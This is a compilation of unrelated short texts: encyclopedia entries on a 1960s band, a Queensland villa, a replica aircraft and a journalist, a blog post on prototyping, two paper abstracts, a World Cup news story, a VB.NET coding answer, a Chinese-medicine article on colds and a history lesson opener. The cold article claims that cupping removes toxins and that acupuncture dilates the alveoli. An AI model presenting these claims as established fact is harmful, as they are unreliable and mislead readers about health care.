The band resumed writing original material for their fourth album, Triangle, produced by Lenny Waronker. Session musicians, such as Van Dyke Parks, who played harpsichord on "Magic Hollow", contributed to the album. Released in July 1967, Triangle only reached number 197 on the Billboard 200 albums chart, but it was praised by critics, including Australian journalist and author Lillian Roxon in her 1969 Rock Encyclopedia. In 1968, Meagher was drafted for military service, leaving the Beau Brummels as a duo consisting of Valentino and Elliott. The duo went to Tennessee to record their fifth album, and worked with prominent Nashville session musicians such as Kenny Buttrey, a drummer on Bob Dylan's albums from 1966 to 1969, and guitarist Jerry Reed. The Beau Brummels were so pleased with the results at the studio that they named the album Bradley's Barn, after the studio in which it was recorded. Shortly following the album's release in October 1968, the Beau Brummels split up.
Solo works, other projects and reformation (1969–2013)
Following a stint in 1969 recording solo singles for Warner Bros. Records, Valentino assembled a new band, Stoneground, which was associated with the hippie commune the Hog Farm in the early 1970s. The band broke up in 1973 after releasing three albums. Elliott, who in 1968 played guitar on Van Dyke Parks' debut album, Song Cycle, and arranged The Everly Brothers' album, Roots, released a solo album, The Candlestickmaker, in 1970. During the early 1970s, Elliott produced albums by Levitt & McClure and Pan, and played on albums by Van Morrison, Randy Newman and Little Feat. Meanwhile, Mulligan and Meagher were members of the Black Velvet Band. In 1969, Petersen married Roberta Templeman, sister of Harpers Bizarre's Ted Templeman. Petersen remained with Harper's Bizarre until the band broke up in the early 1970s.
In February 1974, Billboard magazine reported that the Beau Brummels had reformed in San Francisco. The band resumed touring, and a 1974 performance recorded in Fair Oaks Village near Sacramento, California was released in 2000 as the Live! album. In April 1975, the band released a self-titled studio album, which reached number 180 on the Billboard 200 albums chart. One of the band's previous singles, 1965's "You Tell Me Why", was re-recorded for the album.
Although the band split up again soon after the album's release, the Beau Brummels continued to work in various incarnations from the late 1970s through the mid-1990s, including shows with The Smithereens, and often appeared in tandem with Dinosaurs, the psychedelic-era "supergroup". The band also performed at shows such as the Baypop 2000 Festival and the 2002 Summer of Love Festival, both in San Francisco. In 2006, Valentino released Dreamin' Man, the first solo album of his 50-year career. Another album, Come Out Tonight, followed later that year, and his third solo album, Every Now and Then, was released in 2008. John Petersen died of a heart attack on November 11, 2007.
The remaining original band members reunited to record a studio album, Continuum, released in March 2013 on Bay Sound Records. The album features drum tracks that were recorded in 1965 by Petersen and contains 15 songs written by Elliott, along with re-recordings of "Just a Little", "Don't Talk to Strangers", and "Laugh, Laugh".
Musical style
Combining beat music and folk rock, the Beau Brummels were most often compared, especially early in their career, to British bands such as the Beatles and the Zombies. The Beau Brummels were fans of these acts as well as The Rolling Stones and The Searchers, and originally patterned their overall style after the British Invasion sound. The melancholy, minor keys of debut single "Laugh, Laugh" led many listeners mistakenly to believe that the band were indeed British. As the band evolved, they incorporated different music genres into their works, ranging from hard rock to country and western to rhythm and blues. The Triangle album exhibited the band's growing interest in country music along with elements of psychedelic pop, including the use of strings, brass, woodwinds, harpsichord, and various types of unique percussion. Ron Elliott said the album was "sort of a mood swing into the world that was around us at the time. It was sort of dissolving into this drug culture. So the music became very ethereal, mystic, and mysterious." The band's country rock fusion was most evident on their 1968 album Bradley's Barn, which Elliott said was similar stylistically to Triangle, but with more country accents.
The band members have been hesitant to categorize their music, preferring to call it a combination of styles, according to Elliott. "We don't play anything really different—we play melodically and rhythmically", he said in a 1965 interview. "I think that's why the [Rolling] Stones have made it. They don't do anything really fantastic but they have good taste, and good taste is more important than speed." Sal Valentino praised Elliott's vocal style, saying that "Ron had a great low register. He knew how to write in the best keys for me." Valentino added, "From the time I started singing in bands, I didn't really sing too many other people's songs other than Ron's. Being able to sing just one person's writing, who was a pretty able writer with ability to adjust to what he's working with, had a lot to do with the way I sang." Valentino also credited Sly Stone's input for the band's early success. "He had a lot to do with making our music relatable and anticipating how our records would sound on the radio, particularly on the bottom, rhythm end. Sly was very motivated to make a lot of money, and he was awfully talented."
Legacy
The Beau Brummels are considered the first band from a burgeoning San Francisco music scene to achieve widespread success in response to the British Invasion, standing out among such bands as The Charlatans, Jefferson Airplane, the Grateful Dead, We Five, Moby Grape, Quicksilver Messenger Service and Country Joe and the Fish. At the height of the band's popularity, the Beau Brummels were regarded as teen idols, appearing on several television music variety shows including American Bandstand, Shindig! and Hullabaloo, as well as the teen films Village of the Giants and Wild Wild Winter. The band also appeared as the Beau Brummelstones in a 1965 episode of the animated television sitcom The Flintstones. The band pioneered blending beat music with folk rock, as "Laugh, Laugh" was recorded before The Byrds recorded "Mr. Tambourine Man". The group's Triangle (1967) and Bradley's Barn (1968) albums are considered early examples in the country rock music genre.
"Laugh, Laugh" was included on the 1998 reissue of Nuggets: Original Artyfacts from the First Psychedelic Era, 1965–1968, a compilation double album of American garage rock singles that helped influence the development of 1970s punk rock. The song was also featured during a scene in the 1989 comedy-drama film Uncle Buck, starring John Candy. In 1994, "Laugh, Laugh" was named to the Rock and Roll Hall of Fame's exhibit showcasing The 500 Songs that Shaped Rock and Roll". In the June 1997 issue of Mojo magazine, "Magic Hollow" was selected as one of the "100 Greatest Psychedelic Classics". Music journalist and author Tom Moon named Triangle to his 2008 book of the 1,001 Recordings to Hear Before You Die.
Original line-up
* Sal Valentino – lead vocals, tambourine (1964–1969, 1974–1975)
* Ron Elliott – lead guitar, backing vocals, occasional lead (1964–1969, 1974–1975)
* Ron Meagher – bass, backing vocals, occasional lead (1964–1967, 1974)
* Declan Mulligan – rhythm guitar, harmonica, backing vocals, occasional lead (1964–1965, 1974–1975; died 2021)
* John Petersen – drums, occasional lead vocal (1964–1966, 1974–1975; died 2007)
Subsequent members
* Don Irving – guitars, backing vocals (1965–1966)
* Dan Levitt – banjo, guitars (1974–1975)
* Peter Tepp – drums (completed 1975 tour)
Timeline
* Note: The Beau Brummels were inactive during the 1969–1974 period.
Discography
* 1965: Introducing the Beau Brummels
* 1965: The Beau Brummels, Volume 2
* 1966: Beau Brummels '66
* 1967: Triangle
* 1968: Bradley's Barn
* 1975: The Beau Brummels
* 2013: Continuum | WIKI |
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Mobile Community Design
Research and design information for mobile community developers.
Sunday, January 11, 2009
How to Prototype a Mobile App
One of the long-standing problems in the design process has been the lack of digital tools to support early GUI design work. Surprisingly, one of the most useful tools to come about recently to aid this process was the digital camera. The point-and-shoot camera (or the camera phone for impromptu work) meant that any design that was scrawled on the back of a napkin or the nearest whiteboard, could be captured and distributed to others for remote collaboration. This works great for initial concepts, but it can become tedious as the design becomes more solid and where re-drawing complex parts of the design repeatedly becomes inefficient.
Up until now there have been very few digital tools that supported low-fidelity (think napkin-like resolution and speed) prototyping. People have often told me that Visio, Visual-basic, Axure, Photoshop, Dreamweaver, etc, can fulfill this role - but they can't. The problem is that they are either too high-resolution or too code-focused. What is needed is a tool that is very very fast to use. It needs to be informal. The user shouldn't have to worry about exact alignment of objects, and they shouldn't have to edit complex tables of variables for components. They should just be able to *think* about an object and have it there on the page in the 2 seconds it would take to draw it.
So, I've been waiting for this type of tool to come into existence, but the problem is that most programmers don't think like designers. Thus, the tools that they create don't have 'laser-like-focus' on the requirements of the intended users. Fortunately it appears that Peldi, the developer of Balsamiq does understand what is needed.
Here is a little fictional iPhone app concept that took me about 2 mins to "draw" in Balsamiq. This tool is very interesting in that it has a very minimalistic UI and can be installed from the same executable on either a Mac or a PC.
The software uses a nice hybrid of direct object manipulation and programming. The programming side of it is extremely minimal and most users won't even realize what it is doing behind the scenes. Instead of having pop-up boxes with fields to edit to modify objects, there is a simple scripting language to modify objects. In this case, it is a list of table labels separated by commas. This has the advantage of being extremely fast to modify. This is critical since prototyping essentially happens at the speed of thought and needs to keep pace with collaborative conversations.
Another awesome feature that should be included in more applications is a hybrid of search and object manipulation. In this case the user wants to *very* rapidly get a new object on the page. Since they have used it before, they know the name of it. By typing 'note' or other search terms, they can have that object automatically dropped onto the active page.
The real brilliance of the app is in what Peldi has *not* chosen to do with it. The objects aren't designed to look perfect - they look like sketches and set viewer expectations accordingly. There aren't a huge number of options for each GUI component. There is also nothing standing in the way of rapidly getting the appropriate objects laid out on the page - which is the point of the application.
It's a nice simple tool, and there's something to be said for not loading it down with features. However, things that might be considered:
• The GUI component library is awkward, and horizontal scrolling is bad. Possibly smaller icons and a right-hand vertical display of objects might work better.
• More GUI objects are needed. For iPhone development, many of the standard components look different and some of them act differently. Being able to import additional widget libraries, or to allow expert users to code their own components and share them would be great.
This is a great tool and I'm planning to start using it as a possible replacement for whiteboarding, or possibly as the immediate stage after whiteboarding. Whiteboards still support extremely rapid generation of ideas without the need to select objects types prior to creation of objects. If I were to think about further optimization around the use-case of 'rapidly get desired objects on the page' I would look at how to start expressing ideas without prior selection of object types - which is not an easy problem to solve.
You can download a trial copy of Balsamique or try a web-based version here. | ESSENTIALAI-STEM |
Rodway, Toowoomba
Rodway is a heritage-listed villa at 2 South Street, Rangeville, Toowoomba, Toowoomba Region, Queensland, Australia. The architect was Harry Marks. It was built from c. 1904 to 1930s. It is also known as Sylvia Park. It was added to the Queensland Heritage Register on 21 October 1992.
History
Rodway is a single storeyed timber house erected c. 1904 for John Long to the design of architect Harry Marks on a 40-acre site on the Toowoomba Range.
The site was acquired by Long, a hotel keeper, in 1896. He had previously commissioned Marks' father, James Marks in 1885 to design the Imperial Hotel in Ruthven Street, which Long operated for a number of years.
In 1910, the property was acquired by grazier, John Oliver Frith and his wife Annie Peek Frith as a town residence. Frith lived in semi-retirement but maintained his Augathella property, Toolmaree Station. Renamed Rodway after his birthplace in Somersetshire in England, the house was described as one of the most picturesque and beautiful homes in the vicinity of the city. A gabled north projecting dining room bay may have been undertaken by Frith, and was certainly in existence by 1919. Interior alterations to the dining room may also have been carried out at this time. It is thought that the kitchen wing was added after 1904.
Members of the Frith family are recorded as living at Rodway until 1940 although it is believed the house was rented and used as a boarding house during the 1930s. About this time new fireplaces were installed in the living and dining rooms as well as a new ceiling in the living room. After the death of Annie Frith in 1952, the property was transferred to PJ Seymour, LH Corser, and Leo and Isabel Lynch. The property was subdivided and later sold, with the Lynches retaining the house on a 5-acre block, later reduced to 4 acres to allow for the provision of new roads.
The property was again subdivided in the mid-1990s, and the land the west of the house beyond the border of camphor laurel trees was removed from the heritage register in 1998.
Description
Rodway is a single-storeyed chamferboard residence with a corrugated iron hipped roof and projecting north gable. The building, located on the Toowoomba Range, is situated on a south sloping site, overlooking the Brisbane Valley to the southeast, with a border of mature camphor laurel trees to the west boundary and Norfolk pines to the north.
There are verandahs to the south, east, northeast and northwest, and a kitchen wing and an attached enclosed tankstand to the west. The south and northwest verandahs have been enclosed, and the building has timber stumps with batten panel infill, except to the kitchen wing which has a brick base enclosing a laundry and store. There are three brick chimneys, of which the eastern two are cement rendered.
The symmetrical east elevation has a central porch with an ornately shaped timber surround and a wide flight of timber steps. The open verandahs have an unlined corrugated iron ogee shaped awning with timber posts, brackets and grid-like balustrade. A bay to either side of the entry, and one to the north, pierce the verandah awning and are hipped at the eaves. These bays, and at either side of the dining room, contain HJ Marks' step-out "disappearing" sash windows. The north projecting dining room bay is surmounted by a gable with timber brackets to either side and decorative timber bargeboard and finial, with an awning and timber brackets to the bay window below. The northwest enclosed tankstand is taller, and has a shallow hipped roof and pressed metal window hoods.
The main entrance has a panelled cedar door with leadlight fanlight and sidelights. Internally, there is a wide central hall with a timber arch, walls are of tongue and groove boards with painted timber architraves and skirting, and doors are panelled cedar with fanlights. The northeast room has arched divides to the bays, and later fibrous cement ceiling and brick fireplace. The southeast room has an arched divide to the bay, a white marble fireplace surround and more recent ensuite. The dining room has plastered walls and ornate, pressed metal ceiling and cornice. Pressed metal ceilings also feature in the enclosed verandah rooms off the south bedroom and ensuite.
The western verandah enclosures include a guest bedroom and storeroom in the tankstand, with the original verandah posts still in place. The kitchen has been remodelled and a bathroom added to the west end of the verandah, with the verandah having an ogee shaped boarded ceiling. Stairs lead down to the laundry, which contains the original copper, and store below.
A chamferboard double garage with a corrugated iron gable roof is located on the boundary to the northwest, with iron gates to the west which originally led to an avenue which accessed the former property to the southwest. The western border of camphor laurel trees remain, the southwest section of which is fenced off to form a horse paddock. The north garden contains two large jacaranda trees with pine trees along the boundary and a timber and wire fence. Garden beds with terracotta tile surrounds and brick drains border the north garden and the grassed driveway to the east. The southeast area of the site is lower and contains the remains of the original tennis court.
Heritage listing
Rodway was listed on the Queensland Heritage Register on 21 October 1992 having satisfied the following criteria.
The place is important in demonstrating the evolution or pattern of Queensland's history.
Rodway, erected c. 1904, is important in demonstrating the evolution and pattern of Queensland's history, in particular the development of Toowoomba as the service centre for the Darling Downs Region, and the development of the Range as a prime residential area.
The place is important in demonstrating the principal characteristics of a particular class of cultural places.
It is important in demonstrating the principal characteristics of a substantial federation period timber house.
The place is important because of its aesthetic significance.
It is important in exhibiting a range of aesthetic characteristics valued by the Toowoomba community, in particular the form of the house and its relationship to the expansive southeast view, and the layout of the gardens and mature trees and their contribution to the streetscape of South Street and to the Toowoomba townscape.
The place has a special association with the life or work of a particular person, group or organisation of importance in Queensland's history.
It has a special association with the life of Toowoomba architect Harry Marks as an example of his domestic work. | WIKI |
Vasorin, a transforming growth factor β-binding protein expressed in vascular smooth muscle cells, modulates the arterial response to injury in vivo
Yuichi Ikeda, Yasushi Imai, Hidetoshi Kumagai, Tetsuya Nosaka, Yoshihiro Morikawa, Tomoko Hisaoka, Ichiro Manabe, Koji Maemura, Takashi Nakaoka, Takeshi Imamura, Kohei Miyazono, Issei Komuro, Ryozo Nagai, Toshio Kitamura
Research output: Contribution to journalArticle
64 Scopus citations
Abstract
Growth factors, cell-surface receptors, adhesion molecules, and extracellular matrix proteins play critical roles in vascular pathophysiology by affecting growth, migration, differentiation, and survival of vascular cells. In a search for secreted and cell-surface molecules expressed in the cardiovascular system, by using a retrovirus-mediated signal sequence trap method, we isolated a cell-surface protein named vasorin. Vasorin is a typical type I membrane protein, containing tandem arrays of a characteristic leucine-rich repeat motif, an epidermal growth factor-like motif, and a fibronectin type III-like motif at the extracellular domain. Expression analyses demonstrated that vasorin is predominantly expressed in vascular smooth muscle cells, and that its expression is developmentally regulated. To clarify biological functions of vasorin, we searched for its binding partners and found that vasorin directly binds to transforming growth factor (TGF)-β and attenuates TGF-β signaling in vitro. Vasorin expression was down-regulated during vessel repair after arterial injury, and reversal of vasorin down-regulation, by using adenovirus-mediated in vivo gene transfer, significantly diminished injury-induced vascular lesion formation, at least in part, by inhibiting TGF-β signaling in vivo. These results suggest that down-regulation of vasorin expression contributes to neointimal formation after vascular injury and that vasorin modulates cellular responses to pathological stimuli in the vessel wall. Thus, vasorin is a potential therapeutic target for vascular fibroproliferafive disorders.
Original languageEnglish (US)
Pages (from-to)10732-10737
Number of pages6
JournalProceedings of the National Academy of Sciences of the United States of America
Volume101
Issue number29
DOIs
StatePublished - Jul 20 2004
ASJC Scopus subject areas
• General
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Ikeda, Y., Imai, Y., Kumagai, H., Nosaka, T., Morikawa, Y., Hisaoka, T., Manabe, I., Maemura, K., Nakaoka, T., Imamura, T., Miyazono, K., Komuro, I., Nagai, R., & Kitamura, T. (2004). Vasorin, a transforming growth factor β-binding protein expressed in vascular smooth muscle cells, modulates the arterial response to injury in vivo. Proceedings of the National Academy of Sciences of the United States of America, 101(29), 10732-10737. https://doi.org/10.1073/pnas.0404117101 | ESSENTIALAI-STEM |
Vancouver out as potential 2026 World Cup host city
(Reuters) - Vancouver will not be part of Canada’s bid to co-host the 2026 World Cup with the United States and Mexico after the province balked at signing a contract amid concerns about unpredictable costs. British Columbia Tourism Minister Lisa Beare said on Wednesday that the province, which hosted the final of the 2015 Women’s World Cup, could not agree with the terms of the host contract put forward by the United Bid Committee. “While we support the prospect of hosting the World Cup, we cannot agree to terms that would put British Columbians at risk of shouldering potentially huge and unpredictable costs,” said Beare in a statement. “Throughout this process, we have been in regular contact with the bid committee and other levels of government to support this bid, while protecting taxpayers. “So far, the bid committee has rejected our requests to clarify how much British Columbians could be expected to contribute. And they have declined to negotiate with the province regarding the concerns we raised. “Should the bid committee reconsider, our door remains open to bringing some of the 2026 World Cup games to Vancouver.” With formal bids to be presented to world soccer’s governing body FIFA on Friday, it appears Vancouver’s hopes of being part of the World Cup are over despite Beare’s willingness to continue negotiations. “The United Bid will offer FIFA more than the required number of qualified Candidate Host Cities and stadiums to be considered – and require no new construction to stage the 2026 FIFA World Cup,” United Bid 2026 spokesman Brian Reich told Reuters in an email. Toronto, Montreal and Edmonton have been identified as other potential Canadian host cities. The 2026 World Cup will be the first to feature 48 nations with Canada expected to get 10 of the 80 matches. Mexico will be awarded 10 games while 60 will go to the United States. Morocco is the only challenger to the joint Canada, Mexico and U.S. bid to stage the tournament. FIFA will vote to decide on the winning bid at their congress on June 13. Reporting by Steve Keating in Toronto. Editing by Toby Davis | NEWS-MULTISOURCE |
Talk:feel
feel
The translations sections here is considerably less developed than many other of our entries of this importance. Maybe we could have a translation collaboation here, and get [[feel]] up to the standard of [[hinder]]. --Jackofclubs 17:51, 8 November 2008 (UTC)
To feel badly
The entry claims that "I feel badly. means I have trouble experiencing emotions. or I am not able to use the sense of touch well." I would like to see evidence of anyone having used the phrase this way, other than prescriptive grammarians. It has often been used in precisely the way that this entry proscribes, e.g. Ernest Hemingway in A Farewell to Arms: "You mustn't worry or feel badly." <IP_ADDRESS> 11:08, 27 July 2011 (UTC)
* Thanks. See revised feel. DCDuring TALK 14:06, 27 July 2011 (UTC)
The President feels strongly about the need for both sides to return to the negotiating table
What are the lexical units here? feel (strongly/about)? --Backinstadiums (talk) 16:27, 16 July 2019 (UTC)
See also: fëel
What does fëel mean? --Backinstadiums (talk) 16:31, 16 July 2019 (UTC)
feel good
to feel happy, confident, etc. It makes me feel good to know my work is appreciated. https://www.oxfordlearnersdictionaries.com/definition/english/feel_1#feel_idmg_4 --Backinstadiums (talk) 11:52, 20 August 2020 (UTC) | WIKI |
Flying Legend Tucano Replica
The Flying Legend Tucano Replica (Toucan) is an Italian light-sport aircraft, designed and produced by Flying Legend of Caltagirone and introduced at the AERO Friedrichshafen show in 2011. The aircraft is supplied as a kit for amateur construction or as a complete ready-to-fly-aircraft.
Flying Legend is a collaborative project between MGA and Barum.
Design and development
The Tucano Replica is scale replica of the 1980s vintage Embraer EMB 312 Tucano turboprop trainer and features a cantilever low-wing, a two-seats-in-tandem enclosed cockpit under a bubble canopy, retractable tricycle landing gear and a single engine in tractor configuration. A fixed gear model has been developed for the US light sport aircraft market.
The aircraft is made from 2024-T3 aluminum and 6061-T6 aluminum sheet. Its 8.41 m span wing has an area of 10.0 m2 and is equipped with flaps. Standard engines available are the 100 hp Rotax 912ULS four-stroke powerplant, with the 115 hp Rotax 914, 141 hp Rotax 915 and 125 hp D-Motor LF39 optional.
Variants
An experimental military version known as the TP-75 Dulus was acquired by the Dominican Republic in 2023. | WIKI |
Is it possible that when writing this:
Dim ds As New DataSet
Dim dt As New DataTable
ds.Tables.Add(dt)
Dim da As New OleDbDataAdapter
da = New OleDbDataAdapter("SELECT * FROM [Football Questions]", con)
da.Fill(dt)
lblQuestion.Text = dt.Rows(0).Item(1)
lblAnswer1.Text = dt.Rows(0).Item(2)
lblAnswer2.Text = dt.Rows(0).Item(3)
lblAnswer3.Text = dt.Rows(0).Item(4)
lblAnswer4.Text = dt.Rows(0).Item(5)
lblCorrectAnswer.Tag = dt.Rows(0).Item(6)
radAnswer1.Tag = dt.Rows(0).Item(2)
radAnswer2.Tag = dt.Rows(0).Item(3)
radAnswer3.Tag = dt.Rows(0).Item(4)
radAnswer4.Tag = dt.Rows(0).Item(5)
con.Close()
Can I replace the "0" from "dt.Rows(0)" with a variable that I can increment to cycle through each question in the database?
I currently have this to run when the confirm button is clicked and it works for the first question but further than that I'm stuck as how to show the third question
If radAnswer1.Checked Then
If lblAnswer1.Text = lblCorrectAnswer.Tag Then
Score += 1
Dim ds As New DataSet
Dim dt As New DataTable
ds.Tables.Add(dt)
Dim da As New OleDbDataAdapter
da = New OleDbDataAdapter("SELECT * FROM [Football Questions]", con)
da.Fill(dt)
lblQuestion.Text = dt.Rows(1).Item(1)
lblAnswer1.Text = dt.Rows(1).Item(2)
lblAnswer2.Text = dt.Rows(1).Item(3)
lblAnswer3.Text = dt.Rows(1).Item(4)
lblAnswer4.Text = dt.Rows(1).Item(5)
lblCorrectAnswer.Tag = dt.Rows(1).Item(6)
radAnswer1.Tag = dt.Rows(1).Item(2)
radAnswer2.Tag = dt.Rows(1).Item(3)
radAnswer3.Tag = dt.Rows(1).Item(4)
radAnswer4.Tag = dt.Rows(1).Item(5)
con.Close()
End If
One way is to store the number of the current question in the Tag property of the button. Then you can put it, cast to an integer, in a variable and use that instead of a literal number. Then increment it and replace the Tag value with that.
button1.Tag = 1
Sub button1_Click(sender As Object, e As EventArgs)
Dim questionNumber As Integer = DirectCast(button1.Tag, Integer)
'Do stuff'
button1.Tag = questionNumber + 1
End Sub
On a side note, unless you're changing the data table, you would be better off to make the data table class level in scope and read the data once. | ESSENTIALAI-STEM |
SHOCK INDEX VS GLASGOW COMA SCALE: COMPARISON BETWEEN TWO CLINICAL METRICS AS PREDICTORS OF NEED FOR INTENSIVE CARE (ICU) IN THE ADMISION OF TRAUMA VICTIMS
Authors
• Lucas Guilherme Mendes Negreiros
• Priscila Barbosa Idalo
• Virmondes Rodrigues Junior
• Camila Correa Costa
DOI:
https://doi.org/10.56083/RCV3N8-032
Keywords:
Glasgow Coma Scale, Shock Index, ICU, Admisson
Abstract
Predicting the severity of admitted patients and the need for ICU admission is a frequent issue in a hospital to better allocate human and material resources. The objective of this study was to compare the shock index (SI) criterion) as a predictor of severity in relation to the Glasgow Coma Scale. The studied sample consisted of 47 trauma victims and compares the outcome with or without the need for ICU admission. It was observed that despite the measurable increase in shock index means, there was no statistical significance with the outcome (p = 0.3992). On the other hand, there was a strong association between the drop in the ECG and the ICU outcome (p <0.0001). Considering 1.2 as the most recent SI cutoff point, sensitivity drops to 22.2%, but specificity rises to 97.4%. In conclusion, it is possible to conclude that the ECG is a better predictor of the need for intensive care than the SI. However, with a larger sample in future research, it may be possible to infer a more reliable cutoff point for CI.
References
Albuquerque, Vagner de Cavalcante; Lima, Lais Heleno Navarro. Effectiveness of the shock index in the initial diagnosis of hypovolemia: systematic review and proportional meta-analysis. 2017-02-20. http://hdl.handle.net/11449/150301.
Zarzaur BL, Croce MA, Fischer PE, Magnotti LJ, Fabian TC. New vitals after injury: shock index for the young and age × shock index for the old. J Surg Res. 2008;147(2):229–236. doi:10.1016/j.jss.2008.03.025. DOI: https://doi.org/10.1016/j.jss.2008.03.025
Torabi M, Moeinaddini S, Mirafzal A, Rastegari A, Sadeghkhani N. Shock index, modified shock index, and age shock index for prediction of mortality in emergency severity index level 3. Am J Emerg Med. 2016;34(11):2079–2083. doi:10.1016/j.ajem.2016.07.017. DOI: https://doi.org/10.1016/j.ajem.2016.07.017
Settervall, C. H. C., & Sousa, R. M. C. de. (2012). Glasgow coma scale and quality of life after traumatic brain injury. Acta Paulista De Enfermagem, 25(3), 364–370. https://doi.org/10.1590/S0103-21002012000300008. DOI: https://doi.org/10.1590/S0103-21002012000300008
Pasquale MD. Outcomes for trauma: is there and end (result) in sight? J Trauma. 2008;64(1):60-5. DOI: https://doi.org/10.1097/TA.0b013e31815eb112
Committee on Trauma of the American College of Surgeons. Advanced Trauma Life Support for Physicians: Student Course Manual. 8th ed. Chicago: American College of Surgeons; 2008. p.131-51.
Published
2023-08-04
How to Cite
Negreiros, L. G. M., Idalo, P. B., Rodrigues Junior, V., & Costa, C. C. (2023). SHOCK INDEX VS GLASGOW COMA SCALE: COMPARISON BETWEEN TWO CLINICAL METRICS AS PREDICTORS OF NEED FOR INTENSIVE CARE (ICU) IN THE ADMISION OF TRAUMA VICTIMS. Revista Contemporânea, 3(8), 10506–10512. https://doi.org/10.56083/RCV3N8-032
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The Common Cold: Rhinovirus
It's nowhere near extinct, but Chinese medicine and home remedies can keep populations under control.
by Pat Matthews
It's cold and flu season again. From roughly late fall through early spring the rhinovirus, the cold bug, is king. With over 100 different strains and easy transmission through air and physical contact, the rhinovirus has something for almost everyone. In its wake, victims are left not only with headaches, muscle aches, diarrhea, fatigue, loss of appetite and irritability, but also coughs, sniffles and sneezing-several perfect ways to share your cold with a friend!
This little virus infects about 100 million people each winter. As a nation, we spend around $8 billion on doctors, $3 billion on over-the-counter drugs, and over $400 million on prescriptions-that's just for rhinovirus related illnesses. Add in lost days of work and days taken off to care for sick children or elderly parents, and this little bug costs us about $20 billion per year. And that may be a conservative estimate.
If you get the bug, you are infectious up to three days before you show symptoms and remain infectious for nearly a week after. Once you are symptomatic, there is no cure in Western medicine for the common cold. Your doctor will prescribe medications to ease the discomfort, and you'll probably try the over-the-counter medicines that are advertised on television, but you'll still be sick six to 14 days. Then you may turn right around and catch another cold because your immune system has been weakened, or because the cold keeps rotating between family members and even between home, work, and school.
Oriental medicine may have an answer. According to a Chinese adage, "Never steal from a poor man." Practitioners choose to treat the cold long before the cold season, before the patient is in "poor" health. Throughout Asia, the coming "cold season" is anticipated and treatments are given during the summer or warm months. To recover "rich" health after exhibiting symptoms, treatments such as acupuncture or acupressure, cupping, gua sha, massage, steam baths and herbs can help you feel better and speed up the healing process.
Oriental medicine draws its concepts from the natural order of things: natural forces, elements, and energy. The body consists of five elements: water, wood, metal, air and fire. Your body's balance is defined in terms of yin and yang and the flow of qi, or energy. Health and illness are described in terms of complementary pairs: hot-cold, interior-exterior, damp-dry, upper-lower, wind-stagnation, excess-deficiency. A healthy body has a harmonic balance of natural forces, energies and elements. When these elements are imbalanced you are prone to illness and need to regain the balance to get better.
Acupuncture is one method of encouraging harmony in body systems. It stimulates the body's electrical and blood flow to enhance production of chemicals such as prostaglandins to modulate the inflammatory process and reduce pain, interleukins which strengthen the immune response, histamines which increase immune cells and stimulate blood and lymph flows, and kinins that increase blood flow and stimulate pain receptors.
Stimulating certain acupuncture points can reduce mucus production and coughing or assist the body with warming (in the case of chills) or to cooling (in the case of fever). Body aches and pains can be eased. Acupuncture and also provide the lungs with support by dilating the alveoli where the blood/oxygen exchange takes place.
Cupping (a suction technique) or gua sha (scraping the surface of the skin with a smooth instrument) help open the lungs and enhance blood flow to heal the body and carry away the toxins (dead cell tissue, viruses or other substances in the body). Massage or tui nah also stimulate blood flow, relax the body and stimulate acupoints that aid in the healing process.
Herbs are also commonly used to help the body balance its chemical structure. In Chinese medicine, herbs work through a number of actions, including taste (acrid, sweet, bitter, sour or salty), temperature (hot, cold, warm, cool and neutral), and aroma. The therapeutic actions include promoting sweat, inducing vomiting, purging, harmonizing, warming, clearing and tonifying. For example, the Cong Bai-scallion or spring onion has an acrid taste and warm temperature. It enters through the nasal passage to help clear up the sinuses and can be ingested whole, raw, cooked, or made into a decoction (tea). The therapeutic actions ascribed to this simple herb are many: It induces sweating to help clear up a cold, but it also aids with abdominal pain and distention, can be used as a poultice to clear up abscesses, and when placed over the breast as a topical, it can promote lactation in new mothers.
A few simple home
remedies for colds
Gargling with a mild salt solution can keep the throat cleared of viruses and helps to break down mucous.
Drinking a cup of lemon juice and honey in hot water will soothe a sore throat and reduce coughing.
Avoid coffee, tea, soda and alcohol because they all cause dehydration.
Some believe that drinking milk during a cold will cause the production of phlegm, but studies both in the U.S. and Australia conclude there's no correlation.
A warm, moist shower or steamy bath not only feels good, but also helps open bronchial passages.
You might also simply wrap up in your favorite bathrobe, put some warm socks on your feet, prop yourself up with a stack of soft pillows, have a bowl of chicken soup and sleep. (This home remedy is even better when you aren't sick!) | ESSENTIALAI-STEM |
Rebecca Smith (journalist)
Rebecca A. Smith is a reporter in the San Francisco, California, bureau of The Wall Street Journal.
Early life and education
Smith grew up in Seattle, WA. She obtained her bachelor's degree, Phi Beta Kappa and magna cum laude, from the University of Washington. She later received her master's degree from Mills College in Oakland, CA.
Career
Smith started her career in journalism in 1977 as a reporter and photographer for the Friday Harbor Journal in the San Juan Islands in Washington State. A year later she joined the Daily Oklahoman where she served as a copy editor and reporter for the state desk. In 1981, she joined "The Daily Journal-American" in Bellevue, Wash. In 1985 she moved to the Oakland Tribune in California, reporting on business and in 1992 she worked for the San Jose Mercury News as a reporter, first covering the semiconductor industry and then responsible for covering consumer issues. From 1998 - 1999 she was a consumer affairs reporter for the San Francisco Chronicle. Smith began working as an energy reporter for The Wall Street Journal in August 1999.
She and colleague John R. Emshwiller shared responsibility for the unfolding Enron scandal in 2001, scoring many journalistic coups in the process. They later collaborated on a book on the subject called 24 Days. She joined the WSJ investigations team in 2018.
She dies on December 15th, 2023 at the age of 68.
Honors and awards
In 1996 Smith shared a Gerald Loeb Award for distinguished financial and economics reporting, while at the San Jose Mercury News, for stories about big utility PG&E Corp. In 2001 she won a Gerald Loeb Award for beat writing at The Wall Street Journal for coverage of the California energy crisis. She shared a third Gerald Loeb Award with John Emshwiller in 2002 for stories in The Wall Street Journal about the unfolding Enron scandal. Earlier in her career, she received a California Award for Excellence in economic writing and in 1990, she won a John Hancock Award for distinguished financial writing while at the Oakland Tribune for stories about the savings and loan crisis. Smith shared another Gerald Loeb Award in 2020 and was a Pulitzer Prize finalist for her contributions to "How PG&E Burned California". | WIKI |
Lesson Plan - Get It!
How has the United States responded to attacks on its citizens on U.S. soil, either by foreigners or its own citizens?
How do you think the colonists would have responded to a British soldier killing an American colonist on American soil?
Imagine you are a British colonist living in America in 1770.
You are unhappy about many of the new taxes you have been forced to pay, and have been forced to allow British soldiers to live in your home. Then, you learn British soldiers have killed a group of colonists. How would this make you feel? How would it enhance the feelings you were already having towards Great Britain?
This scenario was a reality in Boston, Massachusetts, in March 1770. Tensions throughout the colonies were high because of the Townshend Acts.
